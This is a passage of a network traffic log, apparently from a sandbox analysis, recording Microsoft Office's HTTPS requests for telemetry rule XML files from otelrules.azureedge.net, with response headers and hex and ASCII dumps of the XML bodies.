2024-11-20 06:49:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-r1d97b995774zjnrhC1TEBv1ww00000008eg000000008286 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-1777c6cb754whff4hC1TEBcd6c00000007yg000000002k7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-185f5d8b95cmd8vfhC1NYC0g4000000005pg00000000fpz5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-1777c6cb7544nvmshC1TEBf7qc00000008xg00000000ph4g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-1777c6cb754g9zd5hC1TEBfvpw00000009bg00000000av8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-1777c6cb754b7tdghC1TEBwwa400000009cg000000006b8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-r1d97b99577mrt4rhC1TEBftkc00000008ag00000000d7t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-185f5d8b95cdh56ghC1NYCk1x400000003n000000000gp42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-1777c6cb754xjpthhC1TEBexs80000000950000000002t2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-1777c6cb754xlpjshC1TEBv8cc00000009bg00000000bkbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-185f5d8b95c96jn4hC1NYCbgp800000009rg00000000s049 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
